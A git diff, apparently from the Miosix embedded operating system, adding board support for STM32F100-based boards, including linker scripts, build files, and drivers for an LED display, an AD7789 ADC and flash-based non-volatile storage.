a/miosix/arch/board/stm32f100c8_vaisala_rs41/unikernel.ld b/miosix/arch/board/stm32f100c8_vaisala_rs41/unikernel.ld new file mode 100644 index 000000000..5463801eb --- /dev/null +++ b/miosix/arch/board/stm32f100c8_vaisala_rs41/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100cb_tempsensor/CMakeLists.txt b/miosix/arch/board/stm32f100cb_tempsensor/CMakeLists.txt new file mode 100644 index 000000000..8cc331f3a --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32f100cb_tempsensor +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_TEMPSENSOR) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_TEMPSENSOR) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f100cb_tempsensor/Makefile.inc b/miosix/arch/board/stm32f100cb_tempsensor/Makefile.inc new file mode 100644 index 000000000..9def9d0c6 --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board stm32f100cb_tempsensor +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_TEMPSENSOR +BOARD_CXXFLAGS := -D_BOARD_TEMPSENSOR + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f100cb_tempsensor/boot.cpp b/miosix/arch/board/stm32f100cb_tempsensor/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..411bac0b9 --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F100xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 55, so there are 56 +#define MIOSIX_NUM_PERIPHERAL_IRQ 56 diff --git a/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..fba800a7c --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/bsp.cpp @@ -0,0 +1,335 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "miosix_settings.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +using namespace std; + +// +// Interrupts +// + +static unsigned char digits[4]={0}; + +void TIM3_IRQHandler() +{ + TIM3->SR=0; //Clear IRQ flag + static int i=0; + GPIOB->ODR=(0x0f00 & ~(1<<(i+8))) | digits[i]; + if(++i>=4) i=0; +} + +namespace miosix { + +// +// LED Display driver +// + +static void initDisplay() +{ + //Start the IRQ that will drive the 4 digit LED display + TIM3->DIER=TIM_DIER_UIE; + TIM3->CNT=0; + TIM3->PSC=0; + TIM3->ARR=60000; //24MHz/60000=400Hz + TIM3->CR1=TIM_CR1_CEN; + GlobalIrqLock dLock; + IRQregisterIrq(dLock,TIM3_IRQn,TIM3_IRQHandler); +} + +void clearDisplay() +{ + memset(digits,0,4); +} + +void showNumber(float number) +{ + static const unsigned char plusErr[]= {0x00,0x79,0x50,0x50}; // " Err" + static const unsigned char minusErr[]={0x40,0x79,0x50,0x50}; // "-Err" + static const unsigned char digitTbl[]= + { + // 0 1 2 3 4 5 6 7 8 9 + 0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f + }; + int num=static_cast(number*100.0f + (number>=0.0f ? 0.5f : -0.5f)); + //Last digit is 4 to account for rounding number that don't fit in 4 digits + if(num>99994) memcpy(digits,plusErr,4); + else if(num<-9994) memcpy(digits,minusErr,4); + else { + int decimal=1; + if(num>9999) { decimal=2; num=(num+5)/10; } //+5 is for rounding + else if(num<-999) { decimal=2; num=(num-5)/10; } //-5 is for rounding + //Now num is always in the range -999 to 9999, make it positive + if(num<0) num=-num; + unsigned char temp[4]; + temp[3]=digitTbl[num % 10]; num/=10; + temp[2]=digitTbl[num % 10]; num/=10; + temp[1]=digitTbl[num % 10]; num/=10; + if(number<0) temp[0]=0x40; // "-" + else if(num>0) temp[0]=digitTbl[num]; else temp[0]=0x00; // " " + temp[decimal] |= 0x80; //Add '.' + memcpy(digits,temp,4); + } +} + +void showLowVoltageIndicator() +{ + static const char bat[]={0x7c,0x77,0x78,0x0}; //"bAt " + memcpy(digits,bat,4); +} + +// +// AD7789 driver +// + +unsigned char spi1sendRecv(unsigned char x) +{ + SPI1->DR=x; + while((SPI1->SR & SPI_SR_RXNE)==0) ; + return SPI1->DR; +} + +static void initAdc() +{ + SPI1->CR1=SPI_CR1_SSM //No HW cs + | SPI_CR1_SSI + | SPI_CR1_SPE //SPI enabled + | SPI_CR1_BR_0 //SPI clock 24/4=6 MHz + | SPI_CR1_MSTR //Master mode + | SPI_CR1_CPOL //AD7789 datasheet specifies SCK default high + | SPI_CR1_CPHA;//AD7789 datasheet specifies sampling on rising edge + delayUs(1); + cs::low(); + spi1sendRecv(0x10); //Write to mode register + spi1sendRecv(0x06); //Continuous conversion, unipolar mode + cs::high(); + delayUs(1); +} + +unsigned char readStatusReg() +{ + cs::low(); + spi1sendRecv(0x08); + unsigned char result=spi1sendRecv(); + cs::high(); + delayUs(1); + return result; +} + +unsigned int readAdcValue() +{ + cs::low(); + spi1sendRecv(0x38); + unsigned int result=spi1sendRecv(); + result<<=8; + result|=spi1sendRecv(); + result<<=8; + result|=spi1sendRecv(); + cs::high(); + delayUs(1); + return result; +} + +// +// PVD driver +// + +static void configureLowVoltageDetect() +{ + PWR->CR |= PWR_CR_PVDE //Low voltage detect enabled + | PWR_CR_PLS_1 + | PWR_CR_PLS_0; //2.5V threshold +} + +bool lowVoltageCheck() +{ + return (PWR->CSR & PWR_CSR_PVDO) ? false : true; +} + +// +// class NonVolatileStorage +// + +NonVolatileStorage& NonVolatileStorage::instance() +{ + static NonVolatileStorage singleton; + return singleton; +} + +bool NonVolatileStorage::erase() +{ + FastGlobalIrqLock dLock; + if(IRQunlock()==false) return false; + + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR |= FLASH_CR_PER; + FLASH->AR=baseAddress; + FLASH->CR |= FLASH_CR_STRT; + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR &= ~FLASH_CR_PER; + + FLASH->CR |= FLASH_CR_LOCK; + + for(int i=0;i(baseAddress+i)!=0xff) return false; + return true; +} + +bool NonVolatileStorage::program(const void* data, int size) +{ + const char *ptr=reinterpret_cast(data); + size=min(size,capacity()); + + FastGlobalIrqLock dLock; + if(IRQunlock()==false) return false; + + bool result=true; + for(int i=0;i(baseAddress+i); + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR |= FLASH_CR_PG; + *target=val; + while(FLASH->SR & FLASH_SR_BSY) ; + FLASH->CR &= ~FLASH_CR_PG; + if(*target!=val) result=false; + } + + FLASH->CR |= FLASH_CR_LOCK; + return result; +} + +void NonVolatileStorage::read(void* data, int size) +{ + size=min(size,capacity()); + memcpy(data,reinterpret_cast(baseAddress),size); +} + +bool NonVolatileStorage::IRQunlock() +{ + if((FLASH->CR & FLASH_CR_LOCK)==0) return true; + FLASH->KEYR=0x45670123; + FLASH->KEYR=0xCDEF89AB; + if((FLASH->CR & FLASH_CR_LOCK)==0) return true; + return false; +} + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios, as well as AFIO, SPI1, TIM3 + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN | RCC_APB2ENR_SPI1EN; + RCC->APB1ENR |= RCC_APB1ENR_TIM3EN | RCC_APB1ENR_PWREN; + RCC_SYNC(); + + //Board has no JTAG nor SWD, and those pins are used + //HSE is not used, remap PD0/PD1 in order to avoid leaving them floating + AFIO->MAPR |= AFIO_MAPR_SWJ_CFG_2 | AFIO_MAPR_PD01_REMAP; + + //Note: all OUT pins speed limited to 2MHz except SPI and UART, that are + //limited to 10MHz. This has been done to reduce power supply "noise" + //PA5 AF out, PA6 AF out, PA7 in pulldown, PA9 AF out, PA10 in pu, other OUT + GPIOA->CRL=0x98912222; + GPIOA->CRH=0x22222892; + GPIOA->ODR=0x0410; //Enable pullup on PA10, and set PA4 high (SPI CS) + GPIOB->CRL=0x22222222; //Port B : all out + GPIOB->CRH=0x22222222; + GPIOB->ODR=0x0f00; //Keep display off at boot + GPIOC->CRH=0x22222222; //PC13 through PC15: all out + GPIOD->CRL=0x22222222; //PD0 and PD1 all out + + initAdc(); + configureLowVoltageDetect(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); + + //The serial port drver reconfigures PA9 to 50MHz AF out and PA10 to + //floating in, but we want them as configured previously, so override + GPIOA->CRH=0x22222892; + GPIOA->ODR=0x0410; //Enable pullup on PA10, and set PA4 high (SPI CS) +} + +void bspInit2() +{ + initDisplay(); +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + reboot(); //This board needs no shutdown support, so we reboot on shutdown +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..867a533af --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/interfaces-impl/bsp_impl.h @@ -0,0 +1,137 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "interfaces/gpio.h" + +namespace miosix { + +/** + * Clear the 4 digit LED display on the board + */ +void clearDisplay(); + +/** + * Show a number, in the range -99.9 to 999.9 on the 4 digit LED display + * \param number the number to show + */ +void showNumber(float number); + +/** + * Show the word "bAt" on the LED display + */ +void showLowVoltageIndicator(); + +typedef Gpio cs; ///< For low-level SPI access + +/** + * Send a single byte to SPI, requires to pull cs low first + * \param x byte to send + * \return byte received + */ +unsigned char spi1sendRecv(unsigned char x=0); + +/** + * Higher level function to read the status register of the AD7789 connected + * through SPI + * \return the status register + */ +unsigned char readStatusReg(); + +/** + * Higher level function to read a sample from the AD7789 connected through SPI + * \return the last converted ADC value + */ +unsigned int readAdcValue(); + +/** + * \return true if the supply voltege is high enough + */ +bool lowVoltageCheck(); + +/** + * This class allows to store non volatile data into the last FLASH page + * of the microcontroller. + */ +class NonVolatileStorage +{ +public: + /** + * \return an instance of this class + */ + static NonVolatileStorage& instance(); + + /** + * \return the maximum size of the available storage + */ + int capacity() const { return 1024; } + + /** + * Erase the non voltaile storage, resetting it to all 0xff + * \return true on success, false on failure + */ + bool erase(); + + /** + * Program data into the non volatile storage + * \param data data to write to the non-volatile storage + * \param size size of data to write + * \return true on success, false on failure + */ + bool program(const void *data, int size); + + /** + * Read back data from the non volatile storage + * \param data data to read to the non-volatile storage + * \param size size of data to read + */ + void read(void *data, int size); + +private: + NonVolatileStorage() {} + NonVolatileStorage(const NonVolatileStorage&); + NonVolatileStorage& operator= (const NonVolatileStorage&); + + /** + * Perform the unlock sequence + * \return true on success, false on failure + */ + bool IRQunlock(); + + static const unsigned int baseAddress=0x0801fc00; +}; + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f100cb_tempsensor/unikernel.ld b/miosix/arch/board/stm32f100cb_tempsensor/unikernel.ld new file mode 100644 index 000000000..5ed08a74a --- /dev/null +++ b/miosix/arch/board/stm32f100cb_tempsensor/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f100 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + /* 1KB reserved by BSP for non volatile storage */ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 127K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f100rb_stm32vldiscovery/CMakeLists.txt b/miosix/arch/board/stm32f100rb_stm32vldiscovery/CMakeLists.txt new file mode 100644 index 000000000..1c8c6e02e --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for board stm32f100rb_stm32vldiscovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_rtc.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_servo.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32VLDISCOVERY) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32VLDISCOVERY) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f100rb_stm32vldiscovery/Makefile.inc b/miosix/arch/board/stm32f100rb_stm32vldiscovery/Makefile.inc new file mode 100644 index 000000000..101057b5d --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f100rb_stm32vldiscovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32_rtc.cpp \ +arch/drivers/stm32_servo.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32VLDISCOVERY +BOARD_CXXFLAGS := -D_BOARD_STM32VLDISCOVERY + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f100rb_stm32vldiscovery/boot.cpp b/miosix/arch/board/stm32f100rb_stm32vldiscovery/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..411bac0b9 --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F100xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 55, so there are 56 +#define MIOSIX_NUM_PERIPHERAL_IRQ 56 diff --git a/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..4ba59d4ca --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp.cpp @@ -0,0 +1,141 @@ +/*************************************************************************** + * Copyright (C) 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_AFIOEN; + RCC_SYNC(); + _led::mode(Mode::OUTPUT_2MHz); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + /* + Removed because low power mode causes issues with SWD programming + RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... + RCC_SYNC(); + PWR->CR |= PWR_CR_PDDS; //Select standby mode + PWR->CR |= PWR_CR_CWUF; + PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source + + SCB->SCR |= SCB_SCR_SLEEPDEEP; + __WFE(); + NVIC_SystemReset(); + */ + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..3427157e5 --- /dev/null +++ b/miosix/arch/board/stm32f100rb_stm32vldiscovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,71 @@ +/*************************************************************************** + * Copyright (C) 2011 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +// inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/stm32vldiscovery.cfg b/miosix/arch/board/stm32f100rb_stm32vldiscovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/stm32vldiscovery.cfg rename to miosix/arch/board/stm32f100rb_stm32vldiscovery/openocd.cfg diff --git 